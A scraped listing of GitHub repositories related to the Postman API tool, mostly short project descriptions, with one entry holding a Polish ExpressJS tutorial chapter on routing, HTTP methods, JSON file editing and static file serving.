agent, data, test 		Postman test-suite af datafordeler funktionalitet. 0 stars 0 watchers 0 forks
MahmoudNafea/task-manager-app
compass, data, database, find, heroku, host, hosting, link, manager, task 		Using Node js and MongoDB NO SQL database through MongoDB compass hosting and deployed on heroku. Kindly find the link to interact with the database through postman. 0 stars 0 watchers 0 forks
marcochin/Wiki-Db-API
article, content, data, express, manipulate, mongo, mongod, mongodb, mongoose, route, send, server, simulate, simulates, wiki, wikipedia 		Created a server that has a db that simulates wikipedia. You have an article title and an article content. An API is created for you to manipulate data on the db. It handles GET POST PUT PATCH DELETE. Use Postman to interact with the API. There is no UI. Used mongoose to interact with mongodb. Used express to send API handle route calls and send back responses. 0 stars 0 watchers 0 forks
martinproxy0/Zadanie_17_5
action, address, application, auth, automat, console, data, dependencies, developer, dynamic, ekspresowe, endpoint, error, example, express, file, folder, form, format, framework, function, github, host, html, http, https, index, install, intern, internal, jest, json, kazan, lang, link, list, listen, local, meta, method, middleware, model, module, modules, node, note, package, parse, parser, party, popular, problem, program, proxy, query, rake, require, role, route, routing, send, server, server., sets, source, stat, status, submit, system, test, type, updated, user, wars 		17. ExpressJS - ekspresowe tworzenie aplikacji w NodeJS Wyzwania: Dowiesz się czym jest ExpressJS Nauczysz się korzystać z routingu Poznasz czym są szablony 17.1. Wprowadzenie do Expressa Express jest jednym z najpopularniejszych frameworków dla aplikacji pisanych w Node.js. Jest bardzo lekki i pozwala na lepszą organizację aplikacji w modelu MVC. Ok, zwolnijmy. Już na samym starcie pojawiły się dwa pojęcia, których do tej pory nie omówiliśmy zbyt dokładnie: framework i MVC. Na początku przypomnijmy sobie czym jest framework. Czym są frameworki? Framework to swego rodzaju szkielet, na którym opieramy budowę naszej aplikacji. Jest pewnym poziomem abstrakcji, na której konstruujemy naszą aplikację. Czym jest abstrakcja? Abstrakcja w inżynierii oprogramowania to technika, dzięki której jesteśmy w stanie zapanować nad złożonością systemu. Najzwyczajniej w świecie nie da się myśleć na wielu płaszczyznach na raz, dlatego programiści dzielą problemy na pewne poziomy i to na nich rozwiązują mniejsze problemy. Przykładowo - programista korzystający z Reacta nie martwi się o niższy poziom abstrakcji, z którego nieświadomie korzysta używając Reacta. Korzystając z komputera także nie zastanawiamy się za bardzo co dzieje się w środku procesora czy też w jaki sposób jest skonstruowany. Tym poziomem abstrakcji po prostu nie zawracamy sobie głowy. Używając JavaScriptu nie myślimy w jaki sposób parser analizuje składnię języka. Jeśli nie jest to nam potrzebne, to możemy zająć się tym, co jest dla nas naprawdę istotne - pisaniem aplikacji internetowych! Express to właśnie kolejny, wyższy poziom abstrakcji, dzięki któremu możemy skupić się na właściwym problemie. Zawiera zbiór generycznych (możliwych do zastosowania w wielu miejscach / uniwersalnych) funkcjonalności, które powtarzają się w obrębie każdej aplikacji. Cały zamysł frameworka opiera się na zasadzie - nie wymyślaj koła na nowo, bo można budować na podstawie dobrych, uniwersalnych rozwiązań. Po wykonaniu tego samego zadania wiele razy, człowiek instynktownie szuka sposobu na automatyzację problemu - szczególnie leniwy programista. :) Framework ma niestety jedną wadę, która bywa momentami również zaletą - narzuca programiście sposób w jaki należy rozwiązać problem. Takie podejście z jednej strony nieco nas ogranicza, bo nie pozwala nam 'grzebać' w rozwiązaniu, a z drugiej strony zmniejsza ilość miejsc, w których moglibyśmy popełnić jakiś błąd. Zaletą takiego podejścia jest też to, że programiści korzystający z frameworków często borykają się z podobnymi problemami, przez co łatwo jest znaleźć rozwiązania, bo ktoś już na pewno zetknął się z czymś, co sprawia nam kłopot :) Wracając do Expressa - jest on niewielkim frameworkiem, który daje programiście przyjemną podstawkę do tworzenia aplikacji, ale nie narzuca żadnych praktyk - może o tym świadczyć chociażby fakt, że wiele znanych frameworków opiera swoją budowę na Express. Można do nich zaliczyć przykładowo Loopbacka, Sailsa czy Krakena. Model-View-Controller Ok, wiemy już czym jest framework - pora na pojęcie MVC :) Jest to skrót od ang. Model View Controller (Model Widok Kontroler). Jest jednym z najczęściej przewijających się wzorców architektonicznych w internecie. Popularnością pomału wypiera go architektura Flux, o której coraz częściej słychać (szczególnie w środowisku Reacta), ale o tym wzorcu powiemy sobie jeszcze przy okazji omawiania Reduxa - wróćmy do MVC. Głównym założeniem przyjętym podczas projektowania MVC było oddzielenie warstwy prezentacji od logiki biznesowej aplikacji. To podejście umożliwia tworzenie narzędzi działających bez graficznego interfejsu (zastępuje go wtedy tzw. Command Line Interface, a.k.a. CLI) i jest dalej popularne w środowisku Unixowym. Tak więc: Model jest reprezentacją logiki aplikacji / problemu z jakim się zmagamy / domeną. Widok opisuje w jaki sposób coś wyświetlić. W React są to komponenty (szczególnie te prezentacyjne). Kontroler przyjmuje dane od użytkownika aplikacji i reaguje na jego działania w obrębie widoku. Aktualizuje widok i model aplikacji. O samej architekturze można napisać osobny moduł tym bardziej, że jak już wcześniej wspomnieliśmy bardzo często przewija się on w środowisku front-end developerów i jest częścią składową wielu frameworków. Sama implementacja MVC wymaga wiedzy na temat programowania obiektowego i wzorców projektowych. Zainteresowanych zapraszam do przeczytania tej książki na temat wzorców projektowych stosowanych w JavaScripcie. Express dostarcza wielu funkcjonalności do tworzenia aplikacji webowych. Jak już wspomniałem, ułatwia on przede wszystkim szybki rozwój aplikacji opartych na Node.js. Podstawowymi cechami tego frameworka są: serwowanie plików statycznych za pomocą jednej komendy konfigurowanie middleware, czyli pośrednika między żądaniem a odpowiedzią w momencie, kiedy użytkownik wykonuje jakieś akcje, np. wysyła formularz, middleware może wykonać pewne czynności zanim dane zostaną zapisane. Nie sprowadza się to oczywiście tylko do zapisu danych, ale szerzej na temat tego zagadnienia powiemy sobie w dalszym rozdziale definiowanie tablicy routingu, czyli ścieżek (adresów), które wyświetlają odpowiednie treści, przyjmują i zapisują dane, bądź odpytane o dane zwracają je. Bazują na protokole HTTP oraz URI (ang. Uniform Resource Identifier) pozwala na dynamiczne tworzenie stron HTML bazujących na argumentach przekazanych do istniejących szablonów Nie przejmuj się, jeśli powyższe opisy wydają się być nieco zagmatwane. Kolejne rozdziały rozjaśnią sprawę! Zanim jednak przejdziemy do omawiania poszczególnych funkcjonalności Expressa, przeprowadzimy proces instalacji. Jeśli masz wątpliwości do powyższego materiału, to - zanim zatwierdzisz - zapytaj na czacie :) Zapoznałe(a)m się! 17.2. Instalacja ExpressJS Framework Express instalujemy używając npm, analogicznie do innych pakietów, które dodawaliśmy już we wcześniejszych modułach. Dla przypomnienia, wystarczy, że zainicjujesz swój projekt - npm init, a następnie użyjesz komendy npm install express --save, która zapisze zainstalowany pakiet w katalogu node_modules/ i doda go do sekcji dependencies w pliku package.json. Razem z Expressem należy zainstalować jeszcze jeden ważny moduł - body-parser, który jest pakietem pozwalającym na obsługę różnych formatów danych w middleware takich jak JSON, text czy tzw. surowe dane (ang. raw data). Aby go zainstalować, wpisz npm install body-parser --save. Pierwsza aplikacja w ExpressJS Sprawdźmy teraz, czy wszystko działa tak jak powinno. Testowa aplikacja, jaką stworzymy przy użyciu Expressa, będzie przedstawiała podstawową zasadę działania tego frameworka. Aplikacja uruchomi serwer oraz będzie nasłuchiwać na porcie 3000 w oczekiwaniu na połączenie - dokładnie w taki sam sposób, jak w przypadku serwera HTTP napisanego w “czystym" Node.js. Nasłuchiwanie oznacza nic innego jak oczekiwanie na połączenie - po wystąpieniu żądania, serwer odpowie nam klasycznym “Hello world". Zanim zaczniemy tworzyć aplikację, musimy wytłumaczyć sobie pewne pojęcia. Opis pojęcia routingu Routing to sposób określania jak aplikacja będzie odpowiadać na żądania klienta na dane endpointy przy użyciu konkretnych metod HTTP. Przypomnijmy sobie w jaki sposób wyglądały metody HTTP: GET - najprostsza z metod HTTP - służy do pobierania zasobów z serwera. Pobranymi zasobami mogą być np. pliki HTML, CSS, JavaScript czy obiekty JSON / XML. POST - ta metoda jest używana do wysyłania danych do serwera. Stosuje się ją np. przy formularzach lub przy wstawianiu zdjęć i wysyłaniu ich jako załącznik. Zwykle dane te wysyłane są jako para klucz-wartość. PUT - działa podobnie jak POST, czyli również służy do wysyłania danych. Różnicą jest ograniczenie do wysłania tylko jednej porcji danych - np. jednego pola. Metoda ta najczęściej używana jest do aktualizacji istniejących danych DELETE - metoda, która służy do usuwania danych z serwera. Chodzi oczywiście o dane, które zostały wskazane przy wysyłaniu żądania. Kolejnym pojęciem jest URI (nazywane również PATH) - jest to właśnie wspomniany wcześniej endpoint, który zawiera polecenia do wykonania gdy zostanie wywołany przez żądanie. Czas start! Na początek stwórzmy plik server.js w katalogu z projektem. Po zainstalowaniu powyższych zależności, drzewo projektu powinno wyglądać w następujący sposób: Aby mieć możliwość skorzystania z zainstalowanych zależności, na początku należy zadeklarować zmienną, w której będziemy przechowywać funkcjonalności pakietu Expressa. var express = require('express'); Jak widzisz, każda paczka JS'a działa dokładnie w taki sam sposób. Koncepcja modułów będzie przewijać się aż do końca tego kursu. Następnym krokiem będzie stworzenie aplikacji Express: var app = express(); Naszą aplikację przypisaliśmy do zmiennej app. Teraz możemy sprawić, aby odpowiadała prostym Hello world w momencie, w którym odbierzemy wysłane zapytanie GET na adres strony domowej: app.get('/', function(req, res) { res.send('Hello world'); }); Powyższy kod rejestruje pierwszy routing (proces przetwarzania otrzymanego adresu żądania i na jego podstawie decydowanie, co powinno zostać uruchomione) na wysłane żądanie GET po wejściu na stronę główną ( http://localhost:3000/ ). Jako callback na wystąpienie tego zdarzenia wywoływana jest funkcja, która w przypadku udanej odpowiedzi wyśle wiadomość Hello world. To jednak jeszcze nie koniec. Zarejestrowaliśmy obsługę pierwszego routingu, ale należy zainicjować nasłuchiwanie serwera na to i inne zdarzenia. Dopiszmy więc: var server = app.listen(3000, function() { console.log('Przykładowa aplikacja nasłuchuje na http://localhost:3000'); }); Po zapisaniu powyższego kodu, należy uruchomić go komendą node server.js (lub za pomocą Nodemona, którego poznaliśmy w pierwszym module) - teraz po ponownym wejściu na adres http://localhost:3000/ powinniśmy zobaczyć następujący widok: Jest to znak, że nasza aplikacja działa! Jeśli masz wątpliwości do powyższego materiału, to - zanim zatwierdzisz - zapytaj na czacie :) Zapoznałe(a)m się! 17.3. Route, czyli ścieżka wyznaczona dla użytkownika aplikacji Wykorzystanie endpointów Rozwińmy teraz trochę aplikację stworzoną w poprzednim podrozdziale. Aktualnie kod w pliku server.js wygląda następująco: var express = require('express'); var app = express(); app.get('/', function (req, res) { res.send('Hello world'); }); var server = app.listen(3000, function() { console.log('Przykładowa aplikacja nasłuchuje na http://localhost:3000'); }); Endpointy statyczne Na początek zmodyfikujemy lekko żądanie GET i do strony głównej zamiast Hello world! wpiszmy Hello GET! oraz dodamy linijkę drukującą otrzymane żądanie (po stronie serwera) jak poniżej: app.get('/', function (req, res) { console.log('Otrzymałem żądanie GET do strony głównej'); res.send('Hello GET!'); }); Warto w tym miejscu wspomnieć o narzędziu Postman - możesz pobrać je ze strony https://www.getpostman.com/. Używa się go do testowania endpointów. Postman jest prosty i intuicyjny w obsłudze - wystarczy, że podasz adres oraz metodę HTTP, jakiej chcesz użyć w odpowiednich polach i… już :) Pozostaje tylko wysłanie requesta i sprawdzenie czy response zgadza się z naszymi oczekiwaniami. Dodajmy też inne metody HTTP do naszej aplikacji. Zacznijmy od POST. Dla tej i kolejnej metody wykonamy podobne operacje. Chodzi tutaj o to, aby zaobserwować działanie zarejestrowanych endpointów. app.post('/', function (req, res) { console.log('Otrzymałem żądanie POST do strony głównej'); res.send('Hello POST!'); }); Do tego czasu oba nasze zapytania kierowaliśmy do strony domowej. Dodajmy teraz obsługę żądania z metodą DELETE oraz inną ścieżką: app.delete('/del_user', function (req, res) { console.log('Otrzymałem żądanie DELETE do strony /del_user'); res.send('Hello DELETE!'); }); DLA CHĘTNYCH: Przetestuj powyższe zapytanie w Postmanie! :) Dla praktyki, dodajmy jeszcze kilka innych endpointów, a następnie przejdźmy do testowania. app.get('/list_user', function (req, res) { console.log('Otrzymałem żądanie GET do strony /list_user'); res.send('Strona z listą użytkowników!'); }); app.get('/ab*cd', function(req, res) { console.log('Otrzymałem żądanie GET do strony /ab*cd'); res.send('Wzór pasuje'); }); Po dodaniu powyższych fragmentów kodu zapisz plik server.js, a następnie ponownie użyj komendy node server.js chyba, że używasz Nodemona :) Zerknijmy na endpoint /list_user Otrzymaliśmy to, czego oczekiwaliśmy. Sprawdźmy jeszcze inne. Jeśli jednak użyliśmy endpointa, którego nie zdefiniowaliśmy, otrzymamy odpowiedź jak na ostatnim obrazku. Endpointy dynamiczne Istnieje również inny typ endpointów, które nazywa się dynamicznymi. Używanie ich pozwala na przekazywanie parametrów i bazowanie na nich. Wróćmy na moment do kodu stworzonego na samym początku: var express = require('express'); var app = express(); app.get('/', function (req, res) { res.send('Hello world'); }); var server = app.listen(3000, function() { console.log('Przykładowa aplikacja nasłuchuje na http://localhost:3000'); }); Najpierw zmodyfikujemy trochę bazowy kod. Usuńmy linijki 8-10, które miały nam tylko pokazać podstawowe informacje na temat serwera. Zamiast tego napiszmy po prostu: app.listen(3000); Tworzenie dynamicznego routingu pozwala na przekazywanie parametrów, więc spróbujmy najpierw z przykładowym id. Zamiast odwołać się do strony domowej ('/'), odwołajmy się do zmiennego parametru id. Parametr zmienny od statycznego rozróżnia się poprzez dodanie dwukropka (:) przed nazwę. W naszym przykładzie endpoint będzie więc wyglądał następująco: /:id Zmieńmy jeszcze odpowiedź z Hello world na 'Identyfikator, który został dopisany to ' + req.params.id. Czym jest req.params.id? req jest obiektem reprezentującym zapytanie HTTP (ang. request). Posiada on różne parametry, jak na przykład body (czyli ciało zapytania), nagłówki HTTP oraz parametry (params), które mamy zamiar odczytać. Parametr, który wstawiliśmy jako część adresu w metodzie GET, przekazujemy jako id. W poniższym przypadku wyświetli się komunikat Identyfikator który został dopisany to 123, o ile zapytanie wysłano na adres http://localhost:3000/123. Popróbuj z różnymi innymi parametrami i sprawdź czy aplikacja działa tak, jak tego oczekujesz. Obsługa błędu 404 za pomocą ExpressJS Co jeśli serwer nie rozpozna żądania? W Expressie odpowiedź 404 nie jest wynikiem błędu, więc nie jest wyłapywany w trakcie działania aplikacji. Spowodowane jest to tym, że 404 zwykle oznacza brak możliwości wykonania danej czynności, a nie błąd występujący z powodu jakiejś 'wpadki' programisty. Innymi słowy, Express wykonał wszystkie funkcje middleware (które poznamy w kolejnym rozdziale) oraz route'y i dopiero wtedy dowiedział się, że żaden z nich nie odpowiedział na żądanie - taki przypadek możemy obsłużyć poprzez dodanie funkcji middleware na samym końcu (poniżej pozostałych funkcji), aby obsługiwała status 404. Powróćmy znów do poprzedniego szablonu z metodą GET na stronę domową ('/'), która zwraca nam Hello world!. Dopiszmy teraz metodę middleware, która obsłuży nam błąd 404. Na samym końcu, poniżej fragmentu z nasłuchiwaniem dodajmy obsługę odpowiedzi 404: app.use(function (req, res, next) { res.status(404).send('Wybacz, nie mogliśmy odnaleźć tego, czego żądasz!') }); Po ponownym uruchomieniu skryptu, w przeglądarce powinieneś zobaczyć Hello world!. Spróbuj teraz dopisać coś na koniec adresu (tak jak w poprzednim rozdziale dopisaliśmy id). Powinieneś otrzymać następujący komunikat: Parametr next, który przekazujemy do funkcji jest funkcją, która pozwala “iść dalej" do kolejnej funkcji middleware lub zakończenia żądania. Można w ten sposób stworzyć także obsługę pozostałych błędów. Najczęściej obsługiwane błędy to: 400 - bad request - występuje gdy serwer nie może przetworzyć zapytania 401 - unauthorized - występuje gdy wymagane jest uwierzytelnienie, a nie zostało dostarczone 403 - forbidden - żądanie jest poprawne, jednak serwer odmawia odpowiedzi, może to wystąpić w przypadku gdy np. użytkownik jest zalogowany ale nie ma uprawnień do wykonania żądania 404 - not found - zasoby nie zostały znalezione 500 - internal server error - występuje gdy występują nieznane warunki i nie ma żadnej konkretnej wiadomości Zadanie: Operacje CRUD na pliku JSON Stwórzmy teraz aplikację, która będzie otwierać zewnętrzne pliki .json oraz edytować je. Zanim zaczniemy, w folderze projektu stwórz plik server.js, a następnie zainicjalizuj projekt poprzez wpisanie npm init w konsoli. Przejdźmy do pobrania potrzebnych zależności - tym razem będzie nam potrzebny Express oraz body-parser. Jak się zapewne domyślasz, możesz zainstalować je za pomocą komendy npm install --save express body-parser. Po pobraniu paczek, możemy śmiało przejść do pisania kodu - na początek przypisz zależności do zmiennych w pliku server.js. Dodaj także linijkę var fs = require('fs') - fs będzie nam potrzebny do operacji na plikach. Nie musimy go instalować, bo jest on wbudowany w Node :) Skoro zależności mamy już załatwione, zadeklaruj zmienną app, która wywoła funkcję express() oraz zmienną stringifyFile (na razie bez zadeklarowanej wartości). Tuż pod deklaracją zmiennych dodaj także linijkę app.use(bodyParser.json()); - to pozwoli Ci wykorzystać middleware body-parser, które zainstalowaliśmy przed chwilą. body-parser jest nam potrzebny, aby korzystać z formatu application/json - póki co nie przejmuj się pojęciem middleware, zajmiemy się nim nieco dalej w tym kursie :) Stwórz teraz endpoint GET /getNote, gdzie po wywołaniu zostanie wczytany Twój zewnętrzny plik JSON oraz wyświetlona zostanie jego zawartość. Przykłądowy plik test.json: {"menu": { "id": "file", "value": "File", "popup": { "menuitem": [ {"value": "New", "onclick": "CreateNewDoc()"}, {"value": "Open", "onclick": "OpenDoc()"}, {"value": "Close", "onclick": "CloseDoc()"} ] } }} Metoda która pozwoli nam na odczytanie pliku to readFile, którą można wywołać z zadeklarowanego wcześniej fs. Jako parametry przyjmuje ona najpierw plik, następnie opcje (np. kodowanie) i funkcję, która wywoła się po załadowaniu. W naszym przypadku będzie to więc następujący kod: fs.readFile('./test.json', 'utf8', function(err, data) { if (err) throw err; stringifyFile = data res.send(data); }); Teraz pora na stworzenie endpointa, który po wywołaniu nadpisze nam podany plik. Stworzymy do tego dynamiczny endpoint, który dopisze do pliku string, który przekażemy jako parametr. Stwórz tym razem POST na /updateNote/:note. Po jego wywołaniu tekst, który znajduje się w miejscu /:note powinniśmy dopisać do wczytanego pliku poprzez dodanie req.params.note do zmiennej stringifyFile, która przechowuje aktualną zawartość pliku. Po przypisaniu powyższej zmiennej, należy ponownie odwołać się do modułu fs tym razem używając metody writeFile. Pomoże nam w tym następujący fragment kodu: fs.writeFile('./test.json', stringifyFile, function(err) { If (err) throw err; console.log('file updated'); }); Na końcu pliku dodaj nasłuchiwanie na porcie 3000. Zapisz plik i uruchom aplikację wpisując node server.js w konsoli. Otwórz Postmana, ustaw metodę zapytania na GET, a w pole adresu wpisz http://localhost:3000/getNote. Jako response powinieneś otrzymać Twój stworzony wcześniej plik JSON. Po zmianie z GET na POST oraz wpisaniu /updateNote/test zamiast /getNote oraz wysłaniu requesta, Twój plik JSON powinien zostać zaktualizowany o słowo test :) Po ukończeniu zadania, wrzuć swój kod na Githuba i przekaż link do repozytorium mentorowi :) Podgląd zadania https://github.com/martinproxy0/Zadanie_17_3.git Wyslij link 17.4. Serwowanie plików statycznych Express posiada wbudowaną możliwość serwowania plików statycznych - takimi plikami są na przykład obrazki, pliki CSS czy JS. Aby serwować te pliki statycznie, wystarczy użyć express.static. Pliki statyczne to pliki, które zostają dostarczone do klienta bez generowania, modyfikacji czy przetwarzania - jedyne, co trzeba z nimi zrobić, to przekazać nazwę katalogu, w którym są przetrzymywane, do express.static - to wystarczy aby zacząć je serwować. Spróbujmy przedstawić to sobie na przykładzie. Załóżmy, że przetrzymujesz swoje zdjęcia i pliki CSS w katalogu assets/. Aby zacząć je serwować, możesz więc użyć następującej linijki: app.use(express.static('assets')); Zmodyfikujmy więc całkowicie naszą aplikację. Najpierw stwórzmy w katalogu projektu nowy katalog o nazwie assets/. Wrzućmy do niego jakiekolwiek zdjęcie/obrazek. W pliku server.js wróćmy do poprzedniego stanu (zanim zaczęliśmy zajmować się routingiem): var express = require('express'); var app = express(); app.get('/', function (req, res) { res.send('Hello world'); }); var server = app.listen(3000, 'localhost', function() { var host = server.address().address; var port = server.address().port; console.log('Przykładowa aplikacja nasłuchuje na http://' + host + ':' + port); }); W tym przykładzie sami definiujemy port i adres, ale w prawdziwej aplikacji moglibyśmy tych wartości nie znać. Częstym przykładem jest sytuacja w której adres i port są zdefiniowane w osobnym pliku konfiguracyjnym. Ten plik byłby inny na naszym komputerze niż na serwerze na którym będziemy publikować aplikację - ale nasz kod ma działać w obu lokalizacjach. Dlatego do wyświetlenia linka potrzebowalibyśmy pobrania tych danych za pomocą metody .address(). Pozostaje teraz jedynie w linii nr 3 dodać to, o czym powiedzieliśmy sobie chwilkę temu, czyli linijkę app.use(express.static('assets')); Dla przypomnienia, w nawiasach do express.static przekazujemy katalog, w którym znajdują się pliki, które chcemy serwować. Po zapisaniu pliku server.js, możemy uruchomić aplikację. Teraz, aby zobaczyć nasz obrazek, wystarczy że po http://localhost:3000/ podamy nazwę pliku z rozszerzeniem - u mnie wygląda to tak: Stwórz sobie teraz prosty plik index.html, który będzie miał formularz z dwoma inputami typu text (o nazwach first_name i last_name) oraz jednym typu submit. Element
posiada atrybuty takie jak action oraz method. Atrybut action pozwala określić, gdzie wysłać dane z formularza w momencie, gdy zostanie on zatwierdzony. W naszym przypadku będzie to http://localhost:3000/userform. Atrybut method określa metodę, jakiej chcemy użyć - w naszym przypadku niech będzie to GET. Przykładowo, Twój index.html może wyglądać tak: Node Hello world example

First Name:

Last Name:

Gdy już będzie gotowy, wrzuć go do katalogu /assets. Teraz czas na modyfikację pliku server.js. Najpierw zmieńmy to, co chcemy wysyłać, gdy zostanie wysłane żądanie do strony domowej. Zamień więc res.send('Hello world') na res.sendFile('/index.html') - jak się zapewne domyślasz, res.sendFile() wysyła w odpowiedzi plik zamiast wiadomości. Musimy również dodać obsługę żądania na endpoint, do którego będziemy kierować nasz formularz. app.get('/userform', function (req, res) { const response = { first_name: req.query.first_name, last_name: req.query.last_name }; res.end(JSON.stringify(response)); }); W czasie przetwarzania żądania, tworzymy nowy obiekt response, który ma klucze first_name oraz last_name. Do poszczególnych właściwości przypisujemy dane, które otrzymujemy w obiekcie req (od ang. request), czyli w obiekcie z żądaniem. Na koniec wyświetlamy nasz obiekt przetworzony na typ string za pomocą metody JSON.stringify. Po zapisaniu pliku server.js, aplikacja powinna pokazywać formularz, jak poniżej. Po wpisaniu wartości do inputów i wysłaniu ich, powinieneś zostać przekierowany do strony /userform, a po znaku zapytania powinny zostać wyświetlone parametry umieszczone przez Ciebie w inputach. Zadanie: Żonglujemy danymi pomiędzy endpointami Napisz kod obsługujący formularz zgodnie z wskazówkami z tego submodułu, a następnie wyślij swój kod na repozytorium oraz przekaż go do sprawdzenia mentorowi. Podgląd zadania https://github.com/martinproxy0/Zadanie_17_4.git Wyslij link 17.5. Middleware - pośrednik między żądaniem a odpowiedzią		 0 stars 0 watchers 0 forks
masiuchi/postman-collection-mt-data-api
collection, data 		Postman collection for Movable Type Data API 0 stars 0 watchers 0 forks
mat373/LibraryManager-BackendApp
application, data, database 		Backend Rest SpringBoot application using Spring Web, Spring Data and H2 database. Testing using Postman. 0 stars 0 watchers 0 forks
mat373/NBPExchangeRatesApplication
application, data, reads 		Spring application using Spring Boot, Spring Web. The application reads data from the NBP api. Testing using Postman 0 stars 0 watchers 0 forks
matt-ball/postman-read-file
data, file, level, local 		Read a local data file on a per request level. 0 stars 0 watchers 0 forks
Mattcat1995/DataBaseTestProject
connection, data, database, method, methods, test 		Goal of the project is to get a Django connection to a SQL database and test the methods with postman 0 stars 0 watchers 0 forks
Mayurgupta3/RESTful-API
application, data, interface, program 		A RESTful API is an application program interface that uses HTTP requests to GET, PUT, POST and DELETE data using Postman Application. 0 stars 0 watchers 0 forks
mbMosman/serverside-tasks-with-sub-cat
action, data, database, object, objects, server, servers, serverside, task, tasks, transactions 		Serverside code only for a tasks database with subtasks and categories with Postman Tests. (Postgres/pg with JSON objects & transactions) 0 stars 0 watchers 0 forks
mddanishyusuf/postman-chrome-extenshion
application, chrome, data, service, services 		basic application for HTTP services and return JSON data 0 stars 0 watchers 0 forks
meghnadsaha/REST-API-Web-Application
api blueprint, application, asyncapi, client, data, database, json schema, mysql, oauth, openid, sql 		A simple CRUD application Framework - Jersey Jax-rs for creating RESTful APIs in Java Editor - Eclipse Database - mysql Rest API client - Postman(for making REST API calls) (6) Hibernate to interact with database. 0 stars 0 watchers 0 forks
MeteorLyon/Postman-MeteorJs
application, chrome, collection, collections, data, install, installed, plugin, problem, server, sync 		The Postman chrome plugin is a cool application. The problem is when you sync your collections, you don't own your data, so it's no more cool. The aim of the project is to allow every one to get the same cool app, but that can be installed on it's own server, so you own your datas. 0 stars 0 watchers 0 forks
midathanasiva/AssignMentApril09RestAPISpringFrameworkUsingPostman
application, data, rest, restful, send, software, web app 		creating web application ,using restful API, and postman software to send data (request data) and getting response data. 0 stars 0 watchers 0 forks
mirannaalina/herbalDemo
data, database, framework, lang, language, library, system, tool 		Technologies used are Java language, Spring framework, Hibernate tool, MySql database management system, Workbench tool, Thymeleaf library, and Postman tool. 0 stars 0 watchers 0 forks
multimac/data-driven-postman
data, drive, driven, running, script, scripts, series, test, tests 		A series of scripts for running data-driven tests using Postman 0 stars 0 watchers 0 forks
neagkv/Mybatis-Spring-MySQL
api blueprint, asyncapi, calling, data, database, json schema, mysql, oauth, openid, sql 		practice calling using mybatis to read from an api and populate a mysql database, with updates from postman 0 stars 0 watchers 0 forks
Neuromobile/newman-vcs
collection, collections, data, managing, mobile, newman, test, tests 		An adapter for newman to allow managing Postman/newman data with a VCS and launch collections and tests 0 stars 0 watchers 0 forks
Nihal-197/MMM
coding, config, data, end to end, file, knowledge, model, test, tested, user, wiki 		A complete end to end Market Mix Model. Furthermore created an API and successfully tested on postman. Ready to deploy model to any data, with the only change in config file( complete API works as a black box for the user requiring no knowledge of coding). Includes the wiki page for more detailed explanation 0 stars 0 watchers 0 forks
nikitaphopse/django_customer_base_project
action, application, backend, behaviour, customer, data, database, default, django, environment, fields, filter, image, list, method, permissions, proving, query, relationship, search, security, sets, token, upload, verb, verbs, version, versions 		We will create a full project ( Customer Base ) with all database relationships, image upload and full control on what is happening behind the scenes. Introduction Preparing the environment Creating the base of the application ( Customer base app ) Setup of the Django Rest Framework Exposing an API for the Customer Endpoint Consuming this API with Google Chrome and Postman Creating the Endpoint for the all entities Personalizing the get_queryset method to provide a list of Customers with filters Override of the behaviour for the defaults HTTP verbs (Get, Post, Put, Patch, Delete ) Creating custom actions Using query strings Filtering querysets with DjangoFilter backend Enabling API search Custom lookup field Improving the API security with Tokens Custom permissions per token Nested relationships OneToOne ForeignKey ManyToMany Types of Serializers Nested serializers Function fields Types of ViewSets Enabling Pagination on your API Deploy on Heroku Updating versions of the application after deploy on Heroku 0 stars 0 watchers 0 forks
Nishit2011/NodeExpressApp
data, file, trigger, triggering, writing 		Building Restful APIs and triggering them via Postman. Updating and writing the data onto a file 0 stars 0 watchers 0 forks
nishthagoel99/restapi-shopdb
data, database, login, order, product, products, rest, rest api, restapi, signup, user, users 		A rest api made for users signup,login and to order products and then later see their products. MongoDB database is used! 0 stars 0 watchers 0 forks
Notuom/atom-form-data-to-postman
atom, convert, data, form, format, plugin 		Atom plugin to convert FormData to Postman (key:value) format. 0 stars 0 watchers 0 forks
nrothchicago/NodejsCRUD
application, connection, data, database, simulate 		Basic CRUD application with a connection to a PostgreSQL database. Front end was 'simulated' with postman. 0 stars 0 watchers 0 forks
omaracrystal/CRUD_5
data, database, define, route, schema, struct, structure 		Setting up CRUD app with Express, MongoDB, Mongoose, define schema, set up RESTful route structure, update each route to connect to the database and return JSON. Test with cURL, HTTPie, or Postman 0 stars 0 watchers 0 forks
omedranoc1991/create-API-with-REST-
data, express, form, html, mongo, mongoose, send, test 		I created my own API with REST using express, mongoose (robot 3t) and postman (to send data and test our API without an html form or the fronted)) 0 stars 0 watchers 0 forks
pacjman/api-node-wordpress
access, data, node, wordpress 		Read-only data access for Wordpress 0 stars 0 watchers 0 forks
patabhi/gocrudapi
crud, crud api, data, database, file, golang, lang, postgres, server, server. 		crud api in golang with postgres database. 1> Run server.go file. 2> Test the api using postman. 0 stars 0 watchers 0 forks
payouri/coding-a-web-api
coding, data, express, mongo, node, store 		Practice PostMan, create a node/express/mongo web api to store and manage my own datas and have fun. 0 stars 0 watchers 0 forks
PearsonDevelopersNetwork/LearningStudio-HelloWorld-Python
advance, advanced, application, browser, console, data, exploring, form, format, function, functional, information, pointing, preferred, prior, returned, running, sandbox, site, updating, website 		Start exploring the APIs right away with this fully-functional application that works right out of the box. Using your browser, you can get started with running any GET request to see how data is returned; try more advanced calls (creating and updating information) by pointing your preferred API console at it (e.g., Postman or Fiddler). You will need a key and sandbox prior to using it, available through the PDN website. 0 stars 0 watchers 0 forks
pramodkondur/REST-social-app
application, boot, concept, data, database, eclipse, exchange, form, format, media, service, services, social, util, utilizing 		A social media application implementing the RESTful Web Services using JSON exchange format done in Java. The main aim for working on this project was to understand the concept of REST web services. Done in eclipse utilizing Springboot, Hibernate, Postman and uses H2 as database 0 stars 0 watchers 0 forks
prince21298/Saral-clone-with-SQL-Quries
clone, course, data, database, exercise, express, module, test 		In this project I have write Saral-like-API by use of SQLite database. I have create saral.db database in this database create three table 1.courses 2.exercise 3.submissions this project we can test on postman also use express module in this project. 0 stars 0 watchers 0 forks
qbicsoftware/postman-cli
client, data, dataset, download, software 		A client software for dataset request and download from openBIS 0 stars 0 watchers 0 forks
qbicsoftware/postman-core-lib
data, dataset, download, file, files, sets, software, util, utilities 		Core libraries providing utilities for the download of OpenBIS files and datasets 0 stars 0 watchers 0 forks
qtzznn/postman
data, example 		Get data example for request postman 0 stars 0 watchers 0 forks
quadient/data-services-examples-postman
data, example, examples, service, services 		Examples of using Quadient Data Services using Postman 0 stars 0 watchers 0 forks
raghavmalawat/node-todo-api
data, database, environment, node, todo 		A simple to use TODO REST-API using Node.JS, MongoDB database and Postman environment. 0 stars 0 watchers 0 forks
